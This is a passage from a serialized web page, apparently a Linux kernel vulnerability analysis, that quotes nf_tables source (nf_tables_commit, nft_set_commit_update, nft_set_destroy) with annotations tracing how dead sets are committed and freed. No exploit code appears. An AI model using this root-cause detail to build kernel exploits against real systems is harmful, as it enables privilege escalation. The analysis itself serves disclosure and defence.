NFT_MSG_DELSET:\n  case NFT_MSG_DESTROYSET: // [1]\n   nft_trans_set(trans)->dead = 1; // [2]\n   list_del_rcu(&nft_trans_set(trans)->list);\n   nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n          trans->msg_type, GFP_KERNEL);\n   break;\n  case NFT_MSG_NEWSETELEM: // [3]\n[...]\n   if (te->set->ops->commit &&\n       list_empty(&te->set->pending_update)) {\n    list_add_tail(&te->set->pending_update,\n           &set_update_list);\n   }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[55461],{"type":24,"tag":156,"props":55462,"children":55463},{"__ignoreMap":7},[55464,55526,55533,55540,55548,55561,55596,55630,55672,55694,55706,55719,55726,55774,55815,55855,55868,55875,55882,55889,55896,55921,55928,55941,55948,55964],{"type":24,"tag":930,"props":55465,"children":55466},{"class":932,"line":933},[55467,55471,55475,55480,55484,55488,55492,55496,55500,55504,55508,55513,55517,55522],{"type":24,"tag":930,"props":55468,"children":55469},{"style":937},[55470],{"type":30,"value":54133},{"type":24,"tag":930,"props":55472,"children":55473},{"style":937},[55474],{"type":30,"value":54262},{"type":24,"tag":930,"props":55476,"children":55477},{"style":1002},[55478],{"type":30,"value":55479}," nf_tables_commit",{"type":24,"tag":930,"props":55481,"children":55482},{"style":959},[55483],{"type":30,"value":1010},{"type":24,"tag":930,"props":55485,"children":55486},{"style":937},[55487],{"type":30,"value":12509},{"type":24,"tag":930,"props":55489,"children":55490},{"style":959},[55491],{"type":30,"value":55091},{"type":24,"tag":930,"props":55493,"children":55494},{"style":1158},[55495],{"type":30,"value":1410},{"type":24,"tag":930,"props":55497,"children":55498},{"style":1023},[55499],{"type":30,"value":55100},{"type":24,"tag":930,"props":55501,"children":55502},{"style":959},[55503],{"type":30,"value":962},{"type":24,"tag":930,"props":55505,"children":55506},{"style":937},[55507],{"type":30,"value":12509},{"type":24,"tag":930,"props":55509,"children":55510},{"style":959},[55511],{"type":30,"value":55512}," sk_buff ",{"type":24,"tag":930,"props":55514,"children":55515},{"style":1158},[55516],{"type":30,"value":1410},{"type":24,"tag":930,"props":55518,"children":55519},{"style":1023},[55520],{"type":30,"value":55521},"skb",{"type":24,"tag":930,"props":55523,"children":55524},{"style":959},[55525],{"type":30,"value":1054},{"type":24,"tag":930,"props":55527,"children":55528},{"class":932,"line":984},[55529],{"type":24,"tag":930,"props":55530,"children":55531},{"style":959},[55532],{"type":30,"value":13987},{"type":24,"tag":930,"props":55534,"children":55535},{"class":932,"line":993},[55536],{"type":24,"tag":930,"props":55537,"children":55538},{"style":959},[55539],{"type":30,"value":990},{"type":24,"tag":930,"props":55541,"children":55542},{"class":932,"line":1057},[55543],{"type":24,"tag":930,"props":55544,"children":55545},{"style":959},[55546],{"type":30,"value":55547},"  case NFT_MSG_DELSET:\n",{"type":24,"tag":930,"props":55549,"children":55550},{"class":932,"line":1066},[55551,55556],{"type":24,"tag":930,"props":55552,"children":55553},{"style":959},[55554],{"type":30,"value":55555},"  case NFT_MSG_DESTROYSET:",{"type":24,"tag":930,"props":55557,"children":55558},{"style":1422},[55559],{"type":30,"value":55560}," // [1]\n",{"type":24,"tag":930,"props":55562,"children":55563},{"class":932,"line":1075},[55564,55569,55574,55579,55583,55587,55591],{"type":24,"tag":930,"props":55565,"children":55566},{"style":1002},[55567],{"type":30,"value":55568},"   nft_trans_set",{"type":24,"tag":930,"props":55570,"children":55571},{"style":959},[55572],{"type":30,"value":55573},"(trans)->",{"type":24,"tag":930,"props":55575,"children":55576},{"style":1023},[55577],{"type":30,"value":55578},"dead",{"type":24,"tag":930,"props":55580,"children":55581},{"style":1158},[55582],{"type":30,"value":6137},{"type":24,"tag":930,"props":55584,"children":55585},{"style":1242},[55586],{"type":30,"value":7637},{"type":24,"tag":930,"props":55588,"children":55589},{"style":959},[55590],{"type":30,"value":52163},{"type":24,"tag":930,"props":55592,"children":55593},{"style":1422},[55594],{"type":30,"value":55595}," // [2]\n",{"type":24,"tag":930,"props":55597,"children":55598},{"class":932,"line":1122},[55599,55604,55608,55612,55617,55621,55626],{"type":24,"tag":930,"props":55600,"children":55601},{"style":1002},[55602],{"type":30,"value":55603},"   list_del_rcu",{"type":24,"tag":930,"props":55605,"children":55606},{"style":959},[55607],{"type":30,"value":1010},{"type":24,"tag":930,"props":55609,"children":55610},{"style":1158},[55611],{"type":30,"value":6230},{"type":24,"tag":930,"props":55613,"children":55614},{"style":1002},[55615],{"type":30,"value":55616},"nft_trans_set",{"type":24,"tag":930,"props":55618,"children":55619},{"style":959},[55620],{"type":30,"value":55573},{"type":24,"tag":930,"props":55622,"children":55623},{"style":1023},[55624],{"type":30,"value":55625},"list",{"type":24,"tag":930,"props":55627,"children":55628},{"style":959},[55629],{"type":30,"value":1278},{"type":24,"tag":930,"props":55631,"children":55632},{"class":932,"line":1131},[55633,55638,55642,55646,55651,55655,55659,55663,55667],{"type":24,"tag":930,"props":55634,"children":55635},{"style":1002},[55636],{"type":30,"value":55637},"   nf_tables_set_notify",{"type":24,"tag":930,"props":55639,"children":55640},{"style":959},[55641],{"type":30,"value":1010},{"type":24,"tag":930,"props":55643,"children":55644},{"style":1158},[55645],{"type":30,"value":6230},{"type":24,"tag":930,"props":55647,"children":55648},{"style":1023},[55649],{"type":30,"value":55650},"trans",{"type":24,"tag":930,"props":55652,"children":55653},{"style":959},[55654],{"type":30,"value":16864},{"type":24,"tag":930,"props":55656,"children":55657},{"style":1023},[55658],{"type":30,"value":23384},{"type":24,"tag":930,"props":55660,"children":55661},{"style":959},[55662],{"type":30,"value":962},{"type":24,"tag":930,"props":55664,"children":55665},{"style":1002},[55666],{"type":30,"value":55616},{"type":24,"tag":930,"props":55668,"children":55669},{"style":959},[55670],{"type":30,"value":55671},"(trans),\n",{"type":24,"tag":930,"props":55673,"children":55674},{"class":932,"line":1144},[55675,55680,55684,55689],{"type":24,"tag":930,"props":55676,"children":55677},{"style":1023},[55678],{"type":30,"value":55679},"          trans",{"type":24,"tag":930,"props":55681,"children":55682},{"style":959},[55683],{"type":30,"value":16864},{"type":24,"tag":930,"props":55685,"children":55686},{"style":1023},[55687],{"type":30,"value":55688},"msg_type",{"type":24,"tag":930,"props":55690,"children":55691},{"style":959},[55692],{"type":30,"value":55693},", GFP_KERNEL);\n",{"type":24,"tag":930,"props":55695,"children":55696},{"class":932,"line":1169},[55697,55702],{"type":24,"tag":930,"props":55698,"children":55699},{"style":1079},[55700],{"type":30,"value":55701},"   break",{"type":24,"tag":930,"props":55703,"children":55704},{"style":959},[55705],{"type":30,"value":5539},{"type":24,"tag":930,"props":55707,"children":55708},{"class":932,"line":1191},[55709,55714],{"type":24,"tag":930,"props":55710,"children":55711},{"style":959},[55712],{"type":30,"value":55713},"  case NFT_MSG_NEWSETELEM:",{"type":24,"tag":930,"props":55715,"children":55716},{"style":1422},[55717],{"type":30,"value":55718}," // [3]\n",{"type":24,"tag":930,"props":55720,"children":55721},{"class":932,"line":1223},[55722],{"type":24,"tag":930,"props":55723,"children":55724},{"style":959},[55725],{"type":30,"value":990},{"type":24,"tag":930,"props":55727,"children":55728},{"class":932,"line":1281},[55729,55734,55738,55743,55747,55751,55755,55760,55764,55769],{"type":24,"tag":930,"props":55730,"children":55731},{"style":1079},[55732],{"type":30,"value":55733},"   if",{"type":24,"tag":930,"props":55735,"children":55736},{"style":959},[55737],{"type":30,"value":1087},{"type":24,"tag":930,"props":55739,"children":55740},{"style":1023},[55741],{"type":30,"value":55742},"te",{"type":24,"tag":930,"props":55744,"children":55745},{"style":959},[55746],{"type":30,"value":16864},{"type":24,"tag":930,"props":55748,"children":55749},{"style":1023},[55750],{"type":30,"value":54108},{"type":24,"tag":930,"props":55752,"children":55753},{"style":959},[55754],{"type":30,"value":16864},{"type":24,"tag":930,"props":55756,"children":55757},{"style":1023},[55758],{"type":30,"value":55759},"ops",{"type":24,"tag":930,"props":55761,"children":55762},{"style":959},[55763],{"type":30,"value":16864},{"type":24,"tag":930,"props":55765,"children":55766},{"style":1023},[55767],{"type":30,"value":55768},"commit",{"type":24,"tag":930,"props":55770,"children":55771},{"style":1158},[55772],{"type":30,"value":55773}," &&\n",{"type":24,"tag":930,"props":55775,"children":55776},{"class":932,"line":1313},[55777,55782,55786,55790,55794,55798,55802,55806,55811],{"type":24,"tag":930,"props":55778,"children":55779},{"style":1002},[55780],{"type":30,"value":55781},"       list_empty",{"type":24,"tag":930,"props":55783,"children":55784},{"style":959},[55785],{"type":30,"value":1010},{"type":24,"tag":930,"props":55787,"children":55788},{"style":1158},[55789],{"type":30,"value":6230},{"type":24,"tag":930,"props":55791,"children":55792},{"style":1023},[55793],{"type":30,"value":55742},{"type":24,"tag":930,"props":55795,"children":55796},{"style":959},[55797],{"type":30,"value":16864},{"type":24,"tag":930,"props":55799,"children":55800},{"style":1023},[55801],{"type":30,"value":54108},{"type":24,"tag":930,"props":55803,"children":55804},{"style":959},[55805],{"type":30,"value":16864},{"type":24,"tag":930,"props":55807,"children":55808},{"style":1023},[55809],{"type":30,"value":55810},"pending_update",{"type":24,"tag":930,"props":55812,"children":55813},{"style":959},[55814],{"type":30,"value":4542},{"type":24,"tag":930,"props":55816,"children":55817},{"class":932,"line":1335},[55818,55823,55827,55831,55835,55839,55843,55847,55851],{"type":24,"tag":930,"props":55819,"children":55820},{"style":1002},[55821],{"type":30,"value":55822},"    list_add_tail",{"type":24,"tag":930,"props":55824,"children":55825},{"style":959},[55826],{"type":30,"value":1010},{"type":24,"tag":930,"props":55828,"children":55829},{"style":1158},[55830],{"type":30,"value":6230},{"type":24,"tag":930,"props":55832,"children":55833},{"style":1023},[55834],{"type":30,"value":55742},{"type":24,"tag":930,"props":55836,"children":55837},{"style":959},[55838],{"type":30,"value":16864},{"type":24,"tag":930,"props":55840,"children":55841},{"style":1023},[55842],{"type":30,"value":54108},{"type":24,"tag":930,"props":55844,"children":55845},{"style":959},[55846],{"type":30,"value":16864},{"type":24,"tag":930,"props":55848,"children":55849},{"style":1023},[55850],{"type":30,"value":55810},{"type":24,"tag":930,"props":55852,"children":55853},{"style":959},[55854],{"type":30,"value":2832},{"type":24,"tag":930,"props":55856,"children":55857},{"class":932,"line":1376},[55858,55863],{"type":24,"tag":930,"props":55859,"children":55860},{"style":1158},[55861],{"type":30,"value":55862},"           &",{"type":24,"tag":930,"props":55864,"children":55865},{"style":959},[55866],{"type":30,"value":55867},"set_update_list);\n",{"type":24,"tag":930,"props":55869,"children":55870},{"class":932,"line":1418},[55871],{"type":24,"tag":930,"props":55872,"children":55873},{"style":959},[55874],{"type":30,"value":37837},{"type":24,"tag":930,"props":55876,"children":55877},{"class":932,"line":1438},[55878],{"type":24,"tag":930,"props":55879,"children":55880},{"style":959},[55881],{"type":30,"value":990},{"type":24,"tag":930,"props":55883,"children":55884},{"class":932,"line":1479},[55885],{"type":24,"tag":930,"props":55886,"children":55887},{"style":959},[55888],{"type":30,"value":12704},{"type":24,"tag":930,"props":55890,"children":55891},{"class":932,"line":1506},[55892],{"type":24,"tag":930,"props":55893,"children":55894},{"emptyLinePlaceholder":16},[55895],{"type":30,"value":2412},{"type":24,"tag":930,"props":55897,"children":55898},{"class":932,"line":1525},[55899,55904,55908,55912,55917],{"type":24,"tag":930,"props":55900,"children":55901},{"style":1002},[55902],{"type":30,"value":55903}," nft_set_commit_update",{"type":24,"tag":930,"props":55905,"children":55906},{"style":959},[55907],{"type":30,"value":1010},{"type":24,"tag":930,"props":55909,"children":55910},{"style":1158},[55911],{"type":30,"value":6230},{"type":24,"tag":930,"props":55913,"children":55914},{"style":1023},[55915],{"type":30,"value":55916},"set_update_list",{"type":24,"tag":930,"props":55918,"children":55919},{"style":959},[55920],{"type":30,"value":1278},{"type":24,"tag":930,"props":55922,"children":55923},{"class":932,"line":1569},[55924],{"type":24,"tag":930,"props":55925,"children":55926},{"style":959},[55927],{"type":30,"value":990},{"type":24,"tag":930,"props":55929,"children":55930},{"class":932,"line":1592},[55931,55936],{"type":24,"tag":930,"props":55932,"children":55933},{"style":1002},[55934],{"type":30,"value":55935}," nf_tables_commit_release",{"type":24,"tag":930,"props":55937,"children":55938},{"style":959},[55939],{"type":30,"value":55940},"(net);\n",{"type":24,"tag":930,"props":55942,"children":55943},{"class":932,"line":1610},[55944],{"type":24,"tag":930,"props":55945,"children":55946},{"emptyLinePlaceholder":16},[55947],{"type":30,"value":2412},{"type":24,"tag":930,"props":55949,"children":55950},{"class":932,"line":1628},[55951,55956,55960],{"type":24,"tag":930,"props":55952,"children":55953},{"style":1079},[55954],{"type":30,"value":55955}," return",{"type":24,"tag":930,"props":55957,"children":55958},{"style":1242},[55959],{"type":30,"value":1245},{"type":24,"tag":930,"props":55961,"children":55962},{"style":959},[55963],{"type":30,"value":5539},{"type":24,"tag":930,"props":55965,"children":55966},{"class":932,"line":1637},[55967],{"type":24,"tag":930,"props":55968,"children":55969},{"style":959},[55970],{"type":30,"value":2528},{"type":24,"tag":33,"props":55972,"children":55973},{},[55974,55975,55981,55983,55988],{"type":30,"value":259},{"type":24,"tag":156,"props":55976,"children":55978},{"className":55977},[],[55979],{"type":30,"value":55980},"nft_set_commit_update()",{"type":30,"value":55982}," function in the code above will call the ",{"type":24,"tag":156,"props":55984,"children":55986},{"className":55985},[],[55987],{"type":30,"value":55434},{"type":30,"value":55989}," method for any objects that were marked as pending an update.",{"type":24,"tag":920,"props":55991,"children":55993},{"className":19616,"code":55992,"language":6268,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n  list_del_init(&set->pending_update);\n\n  if (!set->ops->commit || set->dead) // [4]\n   continue;\n\n  set->ops->commit(set); // [5]\n }\n}\n",[55994],{"type":24,"tag":156,"props":55995,"children":55996},{"__ignoreMap":7},[55997,56037,56044,56073,56080,56093,56125,56132,56193,56204,56211,56245,56252],{"type":24,"tag":930,"props":55998,"children":55999},{"class":932,"line":933},[56000,56004,56008,56012,56016,56020,56025,56029,56033],{"type":24,"tag":930,"props":56001,"children":56002},{"style":937},[56003],{"type":30,"value":54133},{"type":24,"tag":930,"props":56005,"children":56006},{"style":937},[56007],{"type":30,"value":54138},{"type":24,"tag":930,"props":56009,"children":56010},{"style":1002},[56011],{"type":30,"value":55903},{"type":24,"tag":930,"props":56013,"children":56014},{"style":959},[56015],{"type":30,"value":1010},{"type":24,"tag":930,"props":56017,"children":56018},{"style":937},[56019],{"type":30,"value":12509},{"type":24,"tag":930,"props":56021,"children":56022},{"style":959},[56023],{"type":30,"value":56024}," list_head ",{"type":24,"tag":930,"props":56026,"children":56027},{"style":1158},[56028],{"type":30,"value":1410},{"type":24,"tag":930,"props":56030,"children":56031},{"style":1023},[56032],{"type":30,"value":55916},{"type":24,"tag":930,"props":56034,"children":56035},{"style":959},[56036],{"type":30,"value":1054},{"type":24,"tag":930,"props":56038,"children":56039},{"class":932,"line":984},[56040],{"type":24,"tag":930,"props":56041,"children":56042},{"style":959},[56043],{"type":30,"value":13987},{"type":24,"tag":930,"props":56045,"children":56046},{"class":932,"line":993},[56047,56051,56055,56059,56064,56068],{"type":24,"tag":930,"props":56048,"children":56049},{"style":937},[56050],{"type":30,"value":24253},{"type":24,"tag":930,"props":56052,"children":56053},{"style":959},[56054],{"type":30,"value":54188},{"type":24,"tag":930,"props":56056,"children":56057},{"style":1158},[56058],{"type":30,"value":1410},{"type":24,"tag":930,"props":56060,"children":56061},{"style":959},[56062],{"type":30,"value":56063},"set, ",{"type":24,"tag":930,"props":56065,"children":56066},{"style":1158},[56067],{"type":30,"value":1410},{"type":24,"tag":930,"props":56069,"children":56070},{"style":959},[56071],{"type":30,"value":56072},"next;\n",{"type":24,"tag":930,"props":56074,"children":56075},{"class":932,"line":1057},[56076],{"type":24,"tag":930,"props":56077,"children":56078},{"emptyLinePlaceholder":16},[56079],{"type":30,"value":2412},{"type":24,"tag":930,"props":56081,"children":56082},{"class":932,"line":1066},[56083,56088],{"type":24,"tag":930,"props":56084,"children":56085},{"style":1002},[56086],{"type":30,"value":56087}," list_for_each_entry_safe",{"type":24,"tag":930,"props":56089,"children":56090},{"style":959},[56091],{"type":30,"value":56092},"(set, next, set_update_list, pending_update) {\n",{"type":24,"tag":930,"props":56094,"children":56095},{"class":932,"line":1075},[56096,56101,56105,56109,56113,56117,56121],{"type":24,"tag":930,"props":56097,"children":56098},{"style":1002},[56099],{"type":30,"value":56100},"  list_del_init",{"type":24,"tag":930,"props":56102,"children":56103},{"style":959},[56104],{"type":30,"value":1010},{"type":24,"tag":930,"props":56106,"children":56107},{"style":1158},[56108],{"type":30,"value":6230},{"type":24,"tag":930,"props":56110,"children":56111},{"style":1023},[56112],{"type":30,"value":54108},{"type":24,"tag":930,"props":56114,"children":56115},{"style":959},[56116],{"type":30,"value":16864},{"type":24,"tag":930,"props":56118,"children":56119},{"style":1023},[56120],{"type":30,"value":55810},{"type":24,"tag":930,"props":56122,"children":56123},{"style":959},[56124],{"type":30,"value":1278},{"type":24,"tag":930,"props":56126,"children":56127},{"class":932,"line":1122},[56128],{"type":24,"tag":930,"props":56129,"children":56130},{"emptyLinePlaceholder":16},[56131],{"type":30,"value":2412},{"type":24,"tag":930,"props":56133,"children":56134},{"class":932,"line":1131},[56135,56139,56143,56147,56151,56155,56159,56163,56167,56171,56176,56180,56184,56188],{"type":24,"tag":930,"props":56136,"children":56137},{"style":1079},[56138],{"type":30,"value":34486},{"type":24,"tag":930,"props":56140,"children":56141},{"style":959},[56142],{"type":30,"value":1087},{"type":24,"tag":930,"props":56144,"children":56145},{"style":1158},[56146],{"type":30,"value":3299},{"type":24,"tag":930,"props":56148,"children":56149},{"style":1023},[56150],{"type":30,"value":54108},{"type":24,"tag":930,"props":56152,"children":56153},{"style":959},[56154],{"type":30,"value":16864},{"type":24,"tag":930,"props":56156,"children":56157},{"style":1023},[56158],{"type":30,"value":55759},{"type":24,"tag":930,"props":56160,"children":56161},{"style":959},[56162],{"type":30,"value":16864},{"type":24,"tag":930,"props":56164,"children":56165},{"style":1023},[56166],{"type":30,"value":55768},{"type":24,"tag":930,"props":56168,"children":56169},{"style":1158},[56170],{"type":30,"value":1250},{"type":24,"tag":930,"props":56172,"children":56173},{"style":1023},[56174],{"type":30,"value":56175}," set",{"type":24,"tag":930,"props":56177,"children":56178},{"style":959},[56179],{"type":30,"value":16864},{"type":24,"tag":930,"props":56181,"children":56182},{"style":1023},[56183],{"type":30,"value":55578},{"type":24,"tag":930,"props":56185,"children":56186},{"style":959},[56187],{"type":30,"value":6249},{"type":24,"tag":930,"props":56189,"children":56190},{"style":1422},[56191],{"type":30,"value":56192}," // [4]\n",{"type":24,"tag":930,"props":56194,"children":56195},{"class":932,"line":1144},[56196,56200],{"type":24,"tag":930,"props":56197,"children":56198},{"style":1079},[56199],{"type":30,"value":54580},{"type":24,"tag":930,"props":56201,"children":56202},{"style":959},[56203],{"type":30,"value":5539},{"type":24,"tag":930,"props":56205,"children":56206},{"class":932,"line":1169},[56207],{"type":24,"tag":930,"props":56208,"children":56209},{"emptyLinePlaceholder":16},[56210],{"type":30,"value":2412},{"type":24,"tag":930,"props":56212,"children":56213},{"class":932,"line":1191},[56214,56219,56223,56227,56231,56235,56240],{"type":24,"tag":930,"props":56215,"children":56216},{"style":1023},[56217],{"type":30,"value":56218},"  set",{"type":24,"tag":930,"props":56220,"children":56221},{"style":959},[56222],{"type":30,"value":16864},{"type":24,"tag":930,"props":56224,"children":56225},{"style":1023},[56226],{"type":30,"value":55759},{"type":24,"tag":930,"props":56228,"children":56229},{"style":959},[56230],{"type":30,"value":16864},{"type":24,"tag":930,"props":56232,"children":56233},{"style":1002},[56234],{"type":30,"value":55768},{"type":24,"tag":930,"props":56236,"children":56237},{"style":959},[56238],{"type":30,"value":56239},"(set);",{"type":24,"tag":930,"props":56241,"children":56242},{"style":1422},[56243],{"type":30,"value":56244}," // [5]\n",{"type":24,"tag":930,"props":56246,"children":56247},{"class":932,"line":1223},[56248],{"type":24,"tag":930,"props":56249,"children":56250},{"style":959},[56251],{"type":30,"value":12704},{"type":24,"tag":930,"props":56253,"children":56254},{"class":932,"line":1281},[56255],{"type":24,"tag":930,"props":56256,"children":56257},{"style":959},[56258],{"type":30,"value":2528},{"type":24,"tag":33,"props":56260,"children":56261},{},[56262,56264,56270,56272,56277,56278,56283],{"type":30,"value":56263},"Later on, the ",{"type":24,"tag":156,"props":56265,"children":56267},{"className":56266},[],[56268],{"type":30,"value":56269},"nf_tables_commit_release()",{"type":30,"value":56271}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":24,"tag":156,"props":56273,"children":56275},{"className":56274},[],[56276],{"type":30,"value":54108},{"type":30,"value":55428},{"type":24,"tag":156,"props":56279,"children":56281},{"className":56280},[],[56282],{"type":30,"value":55442},{"type":30,"value":56284}," method.",{"type":24,"tag":920,"props":56286,"children":56288},{"className":19616,"code":56287,"language":6268,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n  nft_trans_list_del(trans);\n  nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n  nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[56289],{"type":24,"tag":156,"props":56290,"children":56291},{"__ignoreMap":7},[56292,56331,56338,56345,56366,56373,56380,56387,56428,56435,56442,56463,56476,56488,56495,56502,56509,56550,56557,56585,56592,56605,56617,56658,56665,56672,56679,56737,56744,56751,56780,56787],{"type":24,"tag":930,"props":56293,"children":56294},{"class":932,"line":933},[56295,56299,56303,56307,56311,56315,56319,56323,56327],{"type":24,"tag":930,"props":56296,"children":56297},{"style":937},[56298],{"type":30,"value":54133},{"type":24,"tag":930,"props":56300,"children":56301},{"style":937},[56302],{"type":30,"value":54138},{"type":24,"tag":930,"props":56304,"children":56305},{"style":1002},[56306],{"type":30,"value":55935},{"type":24,"tag":930,"props":56308,"children":56309},{"style":959},[56310],{"type":30,"value":1010},{"type":24,"tag":930,"props":56312,"children":56313},{"style":937},[56314],{"type":30,"value":12509},{"type":24,"tag":930,"props":56316,"children":56317},{"style":959},[56318],{"type":30,"value":55091},{"type":24,"tag":930,"props":56320,"children":56321},{"style":1158},[56322],{"type":30,"value":1410},{"type":24,"tag":930,"props":56324,"children":56325},{"style":1023},[56326],{"type":30,"value":55100},{"type":24,"tag":930,"props":56328,"children":56329},{"style":959},[56330],{"type":30,"value":1054},{"type":24,"tag":930,"props":56332,"children":56333},{"class":932,"line":984},[56334],{"type":24,"tag":930,"props":56335,"children":56336},{"style":959},[56337],{"type":30,"value":13987},{"type":24,"tag":930,"props":56339,"children":56340},{"class":932,"line":993},[56341],{"type":24,"tag":930,"props":56342,"children":56343},{"style":959},[56344],{"type":30,"value":990},{"type":24,"tag":930,"props":56346,"children":56347},{"class":932,"line":1057},[56348,56353,56357,56361],{"type":24,"tag":930,"props":56349,"children":56350},{"style":1002},[56351],{"type":30,"value":56352}," schedule_work",{"type":24,"tag":930,"props":56354,"children":56355},{"style":959},[56356],{"type":30,"value":1010},{"type":24,"tag":930,"props":56358,"children":56359},{"style":1158},[56360],{"type":30,"value":6230},{"type":24,"tag":930,"props":56362,"children":56363},{"style":959},[56364],{"type":30,"value":56365},"trans_destroy_work);\n",{"type":24,"tag":930,"props":56367,"children":56368},{"class":932,"line":1066},[56369],{"type":24,"tag":930,"props":56370,"children":56371},{"style":959},[56372],{"type":30,"value":990},{"type":24,"tag":930,"props":56374,"children":56375},{"class":932,"line":1075},[56376],{"type":24,"tag":930,"props":56377,"children":56378},{"style":959},[56379],{"type":30,"value":2528},{"type":24,"tag":930,"props":56381,"children":56382},{"class":932,"line":1122},[56383],{"type":24,"tag":930,"props":56384,"children":56385},{"style":959},[56386],{"type":30,"value":990},{"type":24,"tag":930,"props":56388,"children":56389},{"class":932,"line":1131},[56390,56394,56398,56403,56407,56411,56416,56420,56424],{"type":24,"tag":930,"props":56391,"children":56392},{"style":937},[56393],{"type":30,"value":54133},{"type":24,"tag":930,"props":56395,"children":56396},{"style":937},[56397],{"type":30,"value":54138},{"type":24,"tag":930,"props":56399,"children":56400},{"style":1002},[56401],{"type":30,"value":56402}," nf_tables_trans_destroy_work",{"type":24,"tag":930,"props":56404,"children":56405},{"style":959},[56406],{"type":30,"value":1010},{"type":24,"tag":930,"props":56408,"children":56409},{"style":937},[56410],{"type":30,"value":12509},{"type":24,"tag":930,"props":56412,"children":56413},{"style":959},[56414],{"type":30,"value":56415}," work_struct ",{"type":24,"tag":930,"props":56417,"children":56418},{"style":1158},[56419],{"type":30,"value":1410},{"type":24,"tag":930,"props":56421,"children":56422},{"style":1023},[56423],{"type":30,"value":52661},{"type":24,"tag":930,"props":56425,"children":56426},{"style":959},[56427],{"type":30,"value":1054},{"type":24,"tag":930,"props":56429,"children":56430},{"class":932,"line":1144},[56431],{"type":24,"tag":930,"props":56432,"children":56433},{"style":959},[56434],{"type":30,"value":13987},{"type":24,"tag":930,"props":56436,"children":56437},{"class":932,"line":1169},[56438],{"type":24,"tag":930,"props":56439,"children":56440},{"style":959},[56441],{"type":30,"value":990},{"type":24,"tag":930,"props":56443,"children":56444},{"class":932,"line":1191},[56445,56449,56454,56458],{"type":24,"tag":930,"props":56446,"children":56447},{"style":1002},[56448],{"type":30,"value":56087},{"type":24,"tag":930,"props":56450,"children":56451},{"style":959},[56452],{"type":30,"value":56453},"(trans, next, ",{"type":24,"tag":930,"props":56455,"children":56456},{"style":1158},[56457],{"type":30,"value":6230},{"type":24,"tag":930,"props":56459,"children":56460},{"style":959},[56461],{"type":30,"value":56462},"head, list) {\n",{"type":24,"tag":930,"props":56464,"children":56465},{"class":932,"line":1223},[56466,56471],{"type":24,"tag":930,"props":56467,"children":56468},{"style":1002},[56469],{"type":30,"value":56470},"  nft_trans_list_del",{"type":24,"tag":930,"props":56472,"children":56473},{"style":959},[56474],{"type":30,"value":56475},"(trans);\n",{"type":24,"tag":930,"props":56477,"children":56478},{"class":932,"line":1281},[56479,56484],{"type":24,"tag":930,"props":56480,"children":56481},{"style":1002},[56482],{"type":30,"value":56483},"  nft_commit_release",{"type":24,"tag":930,"props":56485,"children":56486},{"style":959},[56487],{"type":30,"value":56475},{"type":24,"tag":930,"props":56489,"children":56490},{"class":932,"line":1313},[56491],{"type":24,"tag":930,"props":56492,"children":56493},{"style":959},[56494],{"type":30,"value":12704},{"type":24,"tag":930,"props":56496,"children":56497},{"class":932,"line":1335},[56498],{"type":24,"tag":930,"props":56499,"children":56500},{"style":959},[56501],{"type":30,"value":2528},{"type":24,"tag":930,"props":56503,"children":56504},{"class":932,"line":1376},[56505],{"type":24,"tag":930,"props":56506,"children":56507},{"style":959},[56508],{"type":30,"value":990},{"type":24,"tag":930,"props":56510,"children":56511},{"class":932,"line":1418},[56512,56516,56520,56525,56529,56533,56538,56542,56546],{"type":24,"tag":930,"props":56513,"children":56514},{"style":937},[56515],{"type":30,"value":54133},{"type":24,"tag":930,"props":56517,"children":56518},{"style":937},[56519],{"type":30,"value":54138},{"type":24,"tag":930,"props":56521,"children":56522},{"style":1002},[56523],{"type":30,"value":56524}," nft_commit_release",{"type":24,"tag":930,"props":56526,"children":56527},{"style":959},[56528],{"type":30,"value":1010},{"type":24,"tag":930,"props":56530,"children":56531},{"style":937},[56532],{"type":30,"value":12509},{"type":24,"tag":930,"props":56534,"children":56535},{"style":959},[56536],{"type":30,"value":56537}," nft_trans ",{"type":24,"tag":930,"props":56539,"children":56540},{"style":1158},[56541],{"type":30,"value":1410},{"type":24,"tag":930,"props":56543,"children":56544},{"style":1023},[56545],{"type":30,"value":55650},{"type":24,"tag":930,"props":56547,"children":56548},{"style":959},[56549],{"type":30,"value":1054},{"type":24,"tag":930,"props":56551,"children":56552},{"class":932,"line":1438},[56553],{"type":24,"tag":930,"props":56554,"children":56555},{"style":959},[56556],{"type":30,"value":13987},{"type":24,"tag":930,"props":56558,"children":56559},{"class":932,"line":1479},[56560,56565,56569,56573,56577,56581],{"type":24,"tag":930,"props":56561,"children":56562},{"style":1079},[56563],{"type":30,"value":56564}," switch",{"type":24,"tag":930,"props":56566,"children":56567},{"style":959},[56568],{"type":30,"value":1087},{"type":24,"tag":930,"props":56570,"children":56571},{"style":1023},[56572],{"type":30,"value":55650},{"type":24,"tag":930,"props":56574,"children":56575},{"style":959},[56576],{"type":30,"value":16864},{"type":24,"tag":930,"props":56578,"children":56579},{"style":1023},[56580],{"type":30,"value":55688},{"type":24,"tag":930,"props":56582,"children":56583},{"style":959},[56584],{"type":30,"value":1503},{"type":24,"tag":930,"props":56586,"children":56587},{"class":932,"line":1506},[56588],{"type":24,"tag":930,"props":56589,"children":56590},{"style":959},[56591],{"type":30,"value":990},{"type":24,"tag":930,"props":56593,"children":56594},{"class":932,"line":1525},[56595,56600],{"type":24,"tag":930,"props":56596,"children":56597},{"style":1079},[56598],{"type":30,"value":56599}," case",{"type":24,"tag":930,"props":56601,"children":56602},{"style":959},[56603],{"type":30,"value":56604}," 